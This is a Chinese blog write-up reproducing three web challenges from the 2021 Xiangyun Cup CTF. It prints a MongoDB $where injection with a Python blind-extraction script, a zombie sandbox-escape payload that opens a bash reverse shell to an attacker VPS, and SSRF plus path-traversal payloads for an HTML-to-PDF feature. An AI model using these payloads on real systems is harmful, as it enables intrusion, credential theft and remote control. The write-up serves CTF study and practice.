祥云杯2021三题js复现

祥云杯2021web复现

Package Manager 2021

看一下schema.js可以知道用的是mongodb。

发现/auth存在SQL注入:

1
2
3
4
5
6
7
router.post('/auth', async (req, res) => {
let { token } = req.body;
if (token !== '' && typeof (token) === 'string') {
if (checkmd5Regex(token)) {
try {
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
console.log(docs);

存在一个checkmd5Regex的waf,不过因为写的有问题,没有加上^$,所以可以绕过:

1
2
3
const checkmd5Regex = (token: string) => {
return /([a-f\d]{32}|[A-F\d]{32})/.exec(token);
}

而且注意一下,用的是==而不是=

接下来就是SQL注入出密码了,有两种方式。第一种就是正常的布尔注入:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[0]=="a

盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import string

url="http://fa767ade-d4a2-4335-a76b-84bebdea8395.node4.buuoj.cn:81/auth"
headers={
"Cookie": "session=s:43UCQxzqHneiwEF-JP_ftZ0Aw1upXuCF.t58XyJ4BQ4rmP8Da+VdQzkHtAd1r4EkRUs9h/Zim3os",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
"Referer": "http://fa767ade-d4a2-4335-a76b-84bebdea8395.node4.buuoj.cn:81/packages/submit",
"Origin": "http://fa767ade-d4a2-4335-a76b-84bebdea8395.node4.buuoj.cn:81",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Upgrade-Insecure-Requests": "1",
}

flag = ''
for i in range(10000):
for j in string.printable:
if j == '"':
continue
payload='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[{}]=="{}'.format(i,j)
#print(payload)
data={
"_csrf":"2PzwJX5n-Y1qH02TLkz3_JXa_OBn2hpgU2G8",
"token":payload
}

r=requests.post(url=url,data=data,headers=headers,allow_redirects=False)
#print(r.text)
if "Found. Redirecting to" in r.text:
#print(payload)
flag+=j
print(flag)
break

解法2

MongoDB支持Javascript语法。所以可以用js语法去抛出内容是admin密码的异常

_csrf=2PzwJX5n-Y1qH02TLkz3_JXa_OBn2hpgU2G8&token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"|| ( ()=>{throw Error(this.password)})()=="admin

1
MongoError: Executor error during find command :: caused by :: Error: !@#&@&@efefef*@((@))grgregret3r : @:1:125 @:1:112

cralwer_z

这也是一题js

考点:zombie的Nday漏洞、变量覆盖

审计主要看 user.js 这也是一个express框架

先来看看变量覆盖

在路由profile的post请求方法中,会将输入的bucket值赋值给personalBucket

https://img-blog.csdnimg.cn/9d955dc396fa4ca591b6bf6f4192e66b.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

而在verify路由中,如果token检验正确就会进入if方法,将personalBucket更新到bucket中

https://img-blog.csdnimg.cn/f03adcf84a6d42348185c0e1bde011c8.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

这里bucket限制输入

https://img-blog.csdnimg.cn/6e31aaee0b784fdd98f19059d6ae61cc.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

即我们只能输入https://32位数字或者字母.oss-cn-beijing.ichunqiu.com/的形式,输入其他的无法将personalBucket更新到bucket中,不过这里有个变量覆盖的问题

  1. 我们先正常进行请求,会跳转到/user/verify,更新bucket的同时获得了token
  2. 我们构造自己的ip地址,修改personalBucket
  3. 用第一步获得的token去请求/user/verify,会把personalBucket更新到bucket中,完成变量覆盖

思路已经很明确了,我们先在自己的vps上面放一个 exp.html ,内容为zombie漏洞的exp,下面ip和端口改成自己的

1
2
<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/ip/port 0>&1'],);console.log(ls.output.toString());")()</script>

然后就是进行正常请求,url会跳转到verify获取token

然后输入我们要爬取的url

http://vps-ip/exp.html?a=oss-cn-beijing.ichunqiu.com

update不会成功 我们输入加上刚刚获得的token 就可以看到更新成功bucket

然后访问 /user/bucket 路由就能反弹shell了

secret of admin

给了源码,可以从db中看到admin账户和密码,直接登录,但flag在superuser用户下,且代码

主要代码在index.ts下

/admin路的 content可以自己输入内容,然后用HTML转PDF渲染一个PDF出来,不过有过滤。

https://img-blog.csdnimg.cn/7e768e474dd4467198ce5c7252e0fe39.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

/api/files路由必须本地访问,可以添加记录且所有参数均可控,而/api/files/:id路由可以通过checkSum读文件。但因为这里的checksum是加盐算出来的,所以在admin路由下生成的PDF其实是没法拿到checksum没法读到的。但是/api/files是可以自己添加文件的,而/api/files/:id读文件是直接拼接文件路径的,所以只要能本地访问/api/files路由添加一条flag记录,checksum可控再去/api/files/:id下拿flag

那么ssrf打本地的任务就只能落在这个HTML转PDF功能上了,因为HTML转PDF时,HTML里面的资源肯定是要加载进来的,比如图片,CSS样式之类的,那么要去加载这个资源就必定会请求这个资源,请求这个资源不就是ssrf吗?

而这里用了尖括号过滤不让加标签,用数组绕过

输入<img src="http://127.0.0.1:8888/api/files?username=admin&filename=aa/../flag&checksum=123"

然后就可以去/api/files/123拿flag了

当然也可以使用 xhr请求

<script> var xhr = new XMLHttpRequest();xhr.open("GET", "http://127.0.0.1:8888/api/files?username=admin&filename=./flag&checksum=123", true);xhr.send(); </script>

1
2
3
XMLHttpRequest(XHR)对象用于与服务器交互。通过 XMLHttpRequest 可以在不刷新页面的情况下请求特定 URL,获取数据。这允许网页在不影响用户操作的情况下,更新页面的局部内容。XMLHttpRequest 在 AJAX 编程中被大量使用。

参自:[https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest)

这里有一个小坑,filename直接输flag的话不行 因为这里filename为 unique 所以我们在 /api/flles 路由中不能再次添加flag这个文件 我们使用垃圾目录跳出来就行(垃圾目录也得是不存在的)

https://img-blog.csdnimg.cn/6112b6fd27f24f0285141beb64a55bba.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

还有一个坑就是 注意 ts开放在8888端口

参 :

https://www.wlhhlc.top/posts/20107/#剩下的等buu更新

https://blog.csdn.net/rfrder/article/details/119914746

https://igml.top/2021/08/22/2021-xiangyuncup/

https://blog.z3ratu1.cn/祥云杯2021 wp.html

https://demo.hedgedoc.org/qX7pVgoATA62BiGeRrbh2Q#crawler_z

https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649750837&idx=3&sn=5967d7b85918a9d732f9d6cb04b248f6

[https://mp.weixin.qq.com/s?__biz=MzIzMTQ4NzE2Ng==&mid=2247491099&idx=1&sn=04437c1fcbf90edd680b6b605af1bacc](

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~